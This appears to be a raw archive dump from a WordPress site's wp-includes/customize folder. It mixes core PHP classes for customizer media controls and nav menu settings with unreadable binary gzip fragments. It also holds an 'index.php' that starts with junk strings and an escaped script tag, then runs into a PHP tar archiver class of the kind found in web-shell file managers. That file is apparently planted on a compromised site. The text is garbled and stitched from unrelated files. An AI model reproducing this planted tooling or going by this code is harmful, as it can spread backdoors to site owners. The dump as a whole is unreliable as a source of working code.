nskldgskgsdgf hlsqmdklsqd speskdjqsjdss PK7m%[,,(class-wp-customize-media-control.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/customize/class-wp-customize-media-control.php000064400000022307150565364270026214 0ustar00button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() ); } /** * Enqueue control related scripts/styles. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. */ public function enqueue() { wp_enqueue_media(); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['label'] = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) ); $this->json['mime_type'] = $this->mime_type; $this->json['button_labels'] = $this->button_labels; $this->json['canUpload'] = current_user_can( 'upload_files' ); $value = $this->value(); if ( is_object( $this->setting ) ) { if ( $this->setting->default ) { /* * Fake an attachment model - needs all fields used by template. * Note that the default value must be a URL, NOT an attachment ID. */ $ext = substr( $this->setting->default, -3 ); $type = in_array( $ext, array( 'jpg', 'png', 'gif', 'bmp', 'webp', 'avif' ), true ) ? 'image' : 'document'; $default_attachment = array( 'id' => 1, 'url' => $this->setting->default, 'type' => $type, 'icon' => wp_mime_type_icon( $type, '.svg' ), 'title' => wp_basename( $this->setting->default ), ); if ( 'image' === $type ) { $default_attachment['sizes'] = array( 'full' => array( 'url' => $this->setting->default ), ); } $this->json['defaultAttachment'] = $default_attachment; } if ( $value && $this->setting->default && $value === $this->setting->default ) { // Set the default as the attachment. $this->json['attachment'] = $this->json['defaultAttachment']; } elseif ( $value ) { $this->json['attachment'] = wp_prepare_attachment_for_js( $value ); } } } /** * Don't render any content for this control from PHP. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. * * @see WP_Customize_Media_Control::content_template() */ public function render_content() {} /** * Render a JS template for the content of the media control. * * @since 4.1.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. */ public function content_template() { ?> <# var descriptionId = _.uniqueId( 'customize-media-control-description-' ); var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : ''; #> <# if ( data.label ) { #> {{ data.label }} <# } #>
<# if ( data.description ) { #> {{{ data.description }}} <# } #> <# if ( data.attachment && data.attachment.id ) { #>
<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #> <# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #> <# } else if ( 'audio' === data.attachment.type ) { #> <# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #> <# } else { #> <# } #>

“{{ data.attachment.title }}”

<# if ( data.attachment.album || data.attachment.meta.album ) { #>

{{ data.attachment.album || data.attachment.meta.album }}

<# } #> <# if ( data.attachment.artist || data.attachment.meta.artist ) { #>

{{ data.attachment.artist || data.attachment.meta.artist }}

<# } #> <# } else if ( 'video' === data.attachment.type ) { #>
<# } else { #>

{{ data.attachment.title }}

<# } #>
<# if ( data.canUpload ) { #> <# } #>
<# } else { #>
<# if ( data.canUpload ) { #> <# } #>
<# if ( data.defaultAttachment ) { #> <# } #>
<# } #> mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default'; switch ( $mime_type ) { case 'video': return array( 'select' => __( 'Select video' ), 'change' => __( 'Change video' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No video selected' ), 'frame_title' => __( 'Select video' ), 'frame_button' => __( 'Choose video' ), ); case 'audio': return array( 'select' => __( 'Select audio' ), 'change' => __( 'Change audio' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No audio selected' ), 'frame_title' => __( 'Select audio' ), 'frame_button' => __( 'Choose audio' ), ); case 'image': return array( 'select' => __( 'Select image' ), 'site_icon' => __( 'Select Site Icon' ), 'change' => __( 'Change image' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No image selected' ), 'frame_title' => __( 'Select image' ), 'frame_button' => __( 'Choose image' ), ); default: return array( 'select' => __( 'Select file' ), 'change' => __( 'Change file' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No file selected' ), 'frame_title' => __( 'Select file' ), 'frame_button' => __( 'Choose file' ), ); } // End switch(). } } PK8m%[[ /class-wp-customize-media-control.php.php.tar.gznu[ZmsHk+z֖ػecKc{@o;9e߯g$KBX*TEl3#iR)gb.Y K&ˬ/ *B"Wi,~ byǹjP~&JMs瀞?8wp~Gp HC^{k_o^~zQNtL5 MYU%jbiItl؉ץeKo+IA!+"iԵ0 [̌E_1tS4W YkNl4=`>p`XObT!;5" Bqt .d"UDLTKaƘQ#o^/^nM|y g2Җ(k,-Lz>=p>&b?Fq?.> aX8:!" aPefGY0`K?Þ*d䚡U6YBB%įfTgmGJy5#uNSphU%ͱdl;dQDa!FejQ%dZp0byJzp9g9\-ZoXXtx݊Ruu\W||`m^0n&!XrE}V^aԪR9Nɉ/fe-YͮllV[.˛wV֝<ֱ"jvC#u^Ox:=VS*g,rf{IU{Z~ͿAJ)aXxܨP#dҥF[B6]ˍgi04>Gv͑on%WL˨i $Tӭ~eMQҷp^{3`@z/Vֱ$$%x^h }'PߙF{Kt Ta"/е)}]]!BS}SUJUFl'5|?pMe(mǦδK=OъT6Wv""i\  V^n2854of.{́&Z;Oto[۵mkNt=W:B|'Mn6Ux]&5oulkUdt]-9ujBU|o]{oTߞoϷ,PK8m%[ttPP+class-wp-customize-nav-menu-setting.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/customize/class-wp-customize-nav-menu-setting.php000064400000044770150565370740026667 0ustar00-?\d+)\]$/'; const TAXONOMY = 'nav_menu'; const TYPE = 'nav_menu'; /** * Setting type. * * @since 4.3.0 * @var string */ public $type = self::TYPE; /** * Default setting value. * * @since 4.3.0 * @var array * * @see wp_get_nav_menu_object() */ public $default = array( 'name' => '', 'description' => '', 'parent' => 0, 'auto_add' => false, ); /** * Default transport. * * @since 4.3.0 * @var string */ public $transport = 'postMessage'; /** * The term ID represented by this setting instance. * * A negative value represents a placeholder ID for a new menu not yet saved. * * @since 4.3.0 * @var int */ public $term_id; /** * Previous (placeholder) term ID used before creating a new menu. * * This value will be exported to JS via the {@see 'customize_save_response'} filter * so that JavaScript can update the settings to refer to the newly-assigned * term ID. This value is always negative to indicate it does not refer to * a real term. * * @since 4.3.0 * @var int * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $previous_term_id; /** * Whether or not update() was called. * * @since 4.3.0 * @var bool */ protected $is_updated = false; /** * Status for calling the update method, used in customize_save_response filter. * * See {@see 'customize_save_response'}. * * When status is inserted, the placeholder term ID is stored in `$previous_term_id`. * When status is error, the error is stored in `$update_error`. * * @since 4.3.0 * @var string updated|inserted|deleted|error * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $update_status; /** * Any error object returned by wp_update_nav_menu_object() when setting is updated. * * @since 4.3.0 * @var WP_Error * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $update_error; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 4.3.0 * * @throws Exception If $id is not valid for this setting type. * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID of the setting. * Can be a theme mod or option name. * @param array $args Optional. Setting arguments. */ public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) { if ( empty( $manager->nav_menus ) ) { throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' ); } if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) { throw new Exception( "Illegal widget setting ID: $id" ); } $this->term_id = (int) $matches['id']; parent::__construct( $manager, $id, $args ); } /** * Get the instance data for a given widget setting. * * @since 4.3.0 * * @see wp_get_nav_menu_object() * * @return array Instance data. */ public function value() { if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) { $undefined = new stdClass(); // Symbol. $post_value = $this->post_value( $undefined ); if ( $undefined === $post_value ) { $value = $this->_original_value; } else { $value = $post_value; } } else { $value = false; // Note that a term_id of less than one indicates a nav_menu not yet inserted. if ( $this->term_id > 0 ) { $term = wp_get_nav_menu_object( $this->term_id ); if ( $term ) { $value = wp_array_slice_assoc( (array) $term, array_keys( $this->default ) ); $nav_menu_options = (array) get_option( 'nav_menu_options', array() ); $value['auto_add'] = false; if ( isset( $nav_menu_options['auto_add'] ) && is_array( $nav_menu_options['auto_add'] ) ) { $value['auto_add'] = in_array( $term->term_id, $nav_menu_options['auto_add'], true ); } } } if ( ! is_array( $value ) ) { $value = $this->default; } } return $value; } /** * Handle previewing the setting. * * @since 4.3.0 * @since 4.4.0 Added boolean return value * * @see WP_Customize_Manager::post_value() * * @return bool False if method short-circuited due to no-op. */ public function preview() { if ( $this->is_previewed ) { return false; } $undefined = new stdClass(); $is_placeholder = ( $this->term_id < 0 ); $is_dirty = ( $undefined !== $this->post_value( $undefined ) ); if ( ! $is_placeholder && ! $is_dirty ) { return false; } $this->is_previewed = true; $this->_original_value = $this->value(); $this->_previewed_blog_id = get_current_blog_id(); add_filter( 'wp_get_nav_menus', array( $this, 'filter_wp_get_nav_menus' ), 10, 2 ); add_filter( 'wp_get_nav_menu_object', array( $this, 'filter_wp_get_nav_menu_object' ), 10, 2 ); add_filter( 'default_option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) ); add_filter( 'option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) ); return true; } /** * Filters the wp_get_nav_menus() result to ensure the inserted menu object is included, and the deleted one is removed. * * @since 4.3.0 * * @see wp_get_nav_menus() * * @param WP_Term[] $menus An array of menu objects. * @param array $args An array of arguments used to retrieve menu objects. * @return WP_Term[] Array of menu objects. */ public function filter_wp_get_nav_menus( $menus, $args ) { if ( get_current_blog_id() !== $this->_previewed_blog_id ) { return $menus; } $setting_value = $this->value(); $is_delete = ( false === $setting_value ); $index = -1; // Find the existing menu item's position in the list. foreach ( $menus as $i => $menu ) { if ( (int) $this->term_id === (int) $menu->term_id || (int) $this->previous_term_id === (int) $menu->term_id ) { $index = $i; break; } } if ( $is_delete ) { // Handle deleted menu by removing it from the list. if ( -1 !== $index ) { array_splice( $menus, $index, 1 ); } } else { // Handle menus being updated or inserted. $menu_obj = (object) array_merge( array( 'term_id' => $this->term_id, 'term_taxonomy_id' => $this->term_id, 'slug' => sanitize_title( $setting_value['name'] ), 'count' => 0, 'term_group' => 0, 'taxonomy' => self::TAXONOMY, 'filter' => 'raw', ), $setting_value ); array_splice( $menus, $index, ( -1 === $index ? 0 : 1 ), array( $menu_obj ) ); } // Make sure the menu objects get re-sorted after an update/insert. if ( ! $is_delete && ! empty( $args['orderby'] ) ) { $menus = wp_list_sort( $menus, array( $args['orderby'] => 'ASC', ) ); } // @todo Add support for $args['hide_empty'] === true. return $menus; } /** * Temporary non-closure passing of orderby value to function. * * @since 4.3.0 * @var string * * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus() * @see WP_Customize_Nav_Menu_Setting::_sort_menus_by_orderby() */ protected $_current_menus_sort_orderby; /** * Sort menu objects by the class-supplied orderby property. * * This is a workaround for a lack of closures. * * @since 4.3.0 * @deprecated 4.7.0 Use wp_list_sort() * * @param object $menu1 * @param object $menu2 * @return int * * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus() */ protected function _sort_menus_by_orderby( $menu1, $menu2 ) { _deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' ); $key = $this->_current_menus_sort_orderby; return strcmp( $menu1->$key, $menu2->$key ); } /** * Filters the wp_get_nav_menu_object() result to supply the previewed menu object. * * Requesting a nav_menu object by anything but ID is not supported. * * @since 4.3.0 * * @see wp_get_nav_menu_object() * * @param object|null $menu_obj Object returned by wp_get_nav_menu_object(). * @param string $menu_id ID of the nav_menu term. Requests by slug or name will be ignored. * @return object|null */ public function filter_wp_get_nav_menu_object( $menu_obj, $menu_id ) { $ok = ( get_current_blog_id() === $this->_previewed_blog_id && is_int( $menu_id ) && $menu_id === $this->term_id ); if ( ! $ok ) { return $menu_obj; } $setting_value = $this->value(); // Handle deleted menus. if ( false === $setting_value ) { return false; } // Handle sanitization failure by preventing short-circuiting. if ( null === $setting_value ) { return $menu_obj; } $menu_obj = (object) array_merge( array( 'term_id' => $this->term_id, 'term_taxonomy_id' => $this->term_id, 'slug' => sanitize_title( $setting_value['name'] ), 'count' => 0, 'term_group' => 0, 'taxonomy' => self::TAXONOMY, 'filter' => 'raw', ), $setting_value ); return $menu_obj; } /** * Filters the nav_menu_options option to include this menu's auto_add preference. * * @since 4.3.0 * * @param array $nav_menu_options Nav menu options including auto_add. * @return array (Maybe) modified nav menu options. */ public function filter_nav_menu_options( $nav_menu_options ) { if ( get_current_blog_id() !== $this->_previewed_blog_id ) { return $nav_menu_options; } $menu = $this->value(); $nav_menu_options = $this->filter_nav_menu_options_value( $nav_menu_options, $this->term_id, false === $menu ? false : $menu['auto_add'] ); return $nav_menu_options; } /** * Sanitize an input. * * Note that parent::sanitize() erroneously does wp_unslash() on $value, but * we remove that in this override. * * @since 4.3.0 * * @param array $value The menu value to sanitize. * @return array|false|null Null if an input isn't valid. False if it is marked for deletion. * Otherwise the sanitized value. */ public function sanitize( $value ) { // Menu is marked for deletion. if ( false === $value ) { return $value; } // Invalid. if ( ! is_array( $value ) ) { return null; } $default = array( 'name' => '', 'description' => '', 'parent' => 0, 'auto_add' => false, ); $value = array_merge( $default, $value ); $value = wp_array_slice_assoc( $value, array_keys( $default ) ); $value['name'] = trim( esc_html( $value['name'] ) ); // This sanitization code is used in wp-admin/nav-menus.php. $value['description'] = sanitize_text_field( $value['description'] ); $value['parent'] = max( 0, (int) $value['parent'] ); $value['auto_add'] = ! empty( $value['auto_add'] ); if ( '' === $value['name'] ) { $value['name'] = _x( '(unnamed)', 'Missing menu name.' ); } /** This filter is documented in wp-includes/class-wp-customize-setting.php */ return apply_filters( "customize_sanitize_{$this->id}", $value, $this ); } /** * Storage for data to be sent back to client in customize_save_response filter. * * See {@see 'customize_save_response'}. * * @since 4.3.0 * @var array * * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ protected $_widget_nav_menu_updates = array(); /** * Create/update the nav_menu term for this setting. * * Any created menus will have their assigned term IDs exported to the client * via the {@see 'customize_save_response'} filter. Likewise, any errors will be exported * to the client via the customize_save_response() filter. * * To delete a menu, the client can send false as the value. * * @since 4.3.0 * * @see wp_update_nav_menu_object() * * @param array|false $value { * The value to update. Note that slug cannot be updated via wp_update_nav_menu_object(). * If false, then the menu will be deleted entirely. * * @type string $name The name of the menu to save. * @type string $description The term description. Default empty string. * @type int $parent The id of the parent term. Default 0. * @type bool $auto_add Whether pages will auto_add to this menu. Default false. * } * @return null|void */ protected function update( $value ) { if ( $this->is_updated ) { return; } $this->is_updated = true; $is_placeholder = ( $this->term_id < 0 ); $is_delete = ( false === $value ); add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) ); $auto_add = null; if ( $is_delete ) { // If the current setting term is a placeholder, a delete request is a no-op. if ( $is_placeholder ) { $this->update_status = 'deleted'; } else { $r = wp_delete_nav_menu( $this->term_id ); if ( is_wp_error( $r ) ) { $this->update_status = 'error'; $this->update_error = $r; } else { $this->update_status = 'deleted'; $auto_add = false; } } } else { // Insert or update menu. $menu_data = wp_array_slice_assoc( $value, array( 'description', 'parent' ) ); $menu_data['menu-name'] = $value['name']; $menu_id = $is_placeholder ? 0 : $this->term_id; $r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) ); $original_name = $menu_data['menu-name']; $name_conflict_suffix = 1; while ( is_wp_error( $r ) && 'menu_exists' === $r->get_error_code() ) { $name_conflict_suffix += 1; /* translators: 1: Original menu name, 2: Duplicate count. */ $menu_data['menu-name'] = sprintf( __( '%1$s (%2$d)' ), $original_name, $name_conflict_suffix ); $r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) ); } if ( is_wp_error( $r ) ) { $this->update_status = 'error'; $this->update_error = $r; } else { if ( $is_placeholder ) { $this->previous_term_id = $this->term_id; $this->term_id = $r; $this->update_status = 'inserted'; } else { $this->update_status = 'updated'; } $auto_add = $value['auto_add']; } } if ( null !== $auto_add ) { $nav_menu_options = $this->filter_nav_menu_options_value( (array) get_option( 'nav_menu_options', array() ), $this->term_id, $auto_add ); update_option( 'nav_menu_options', $nav_menu_options ); } if ( 'inserted' === $this->update_status ) { // Make sure that new menus assigned to nav menu locations use their new IDs. foreach ( $this->manager->settings() as $setting ) { if ( ! preg_match( '/^nav_menu_locations\[/', $setting->id ) ) { continue; } $post_value = $setting->post_value( null ); if ( ! is_null( $post_value ) && (int) $post_value === $this->previous_term_id ) { $this->manager->set_post_value( $setting->id, $this->term_id ); $setting->save(); } } // Make sure that any nav_menu widgets referencing the placeholder nav menu get updated and sent back to client. foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) { $nav_menu_widget_setting = $this->manager->get_setting( $setting_id ); if ( ! $nav_menu_widget_setting || ! preg_match( '/^widget_nav_menu\[/', $nav_menu_widget_setting->id ) ) { continue; } $widget_instance = $nav_menu_widget_setting->post_value(); // Note that this calls WP_Customize_Widgets::sanitize_widget_instance(). if ( empty( $widget_instance['nav_menu'] ) || (int) $widget_instance['nav_menu'] !== $this->previous_term_id ) { continue; } $widget_instance['nav_menu'] = $this->term_id; $updated_widget_instance = $this->manager->widgets->sanitize_widget_js_instance( $widget_instance ); $this->manager->set_post_value( $nav_menu_widget_setting->id, $updated_widget_instance ); $nav_menu_widget_setting->save(); $this->_widget_nav_menu_updates[ $nav_menu_widget_setting->id ] = $updated_widget_instance; } } } /** * Updates a nav_menu_options array. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Setting::filter_nav_menu_options() * @see WP_Customize_Nav_Menu_Setting::update() * * @param array $nav_menu_options Array as returned by get_option( 'nav_menu_options' ). * @param int $menu_id The term ID for the given menu. * @param bool $auto_add Whether to auto-add or not. * @return array (Maybe) modified nav_menu_options array. */ protected function filter_nav_menu_options_value( $nav_menu_options, $menu_id, $auto_add ) { $nav_menu_options = (array) $nav_menu_options; if ( ! isset( $nav_menu_options['auto_add'] ) ) { $nav_menu_options['auto_add'] = array(); } $i = array_search( $menu_id, $nav_menu_options['auto_add'], true ); if ( $auto_add && false === $i ) { array_push( $nav_menu_options['auto_add'], $this->term_id ); } elseif ( ! $auto_add && false !== $i ) { array_splice( $nav_menu_options['auto_add'], $i, 1 ); } return $nav_menu_options; } /** * Export data for the JS client. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Setting::update() * * @param array $data Additional information passed back to the 'saved' event on `wp.customize`. * @return array Export data. */ public function amend_customize_save_response( $data ) { if ( ! isset( $data['nav_menu_updates'] ) ) { $data['nav_menu_updates'] = array(); } if ( ! isset( $data['widget_nav_menu_updates'] ) ) { $data['widget_nav_menu_updates'] = array(); } $data['nav_menu_updates'][] = array( 'term_id' => $this->term_id, 'previous_term_id' => $this->previous_term_id, 'error' => $this->update_error ? $this->update_error->get_error_code() : null, 'status' => $this->update_status, 'saved_value' => 'deleted' === $this->update_status ? null : $this->value(), ); $data['widget_nav_menu_updates'] = array_merge( $data['widget_nav_menu_updates'], $this->_widget_nav_menu_updates ); $this->_widget_nav_menu_updates = array(); return $data; } } PK9m%[c/class-wp-customize-image-control.php.php.tar.gznu[TMo@5s%8A =TqkigwM )7h^=,6Bʍ5EXn b^&XxqY(ŜDvԄtXdJ 뼳CŬ3|E0@@^ ^ѫrȁm o/rIv 97%g~n1]9"\ ,%e-T>( ]_?{cw{^֬sMayj"Q%SBptM֮ [S[a,*Pe+9ݼ8g5w?q LKӟnr^ޠ"%Ta7zWe+&2/T"Sp{׮֭*Zuz豤4B~r+;& Q4q-3n`hV%M8m!?}1m> O%Tlp#j]QF' 2ef VlWdVr9<#Cv PK9m%[][7[7 index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; 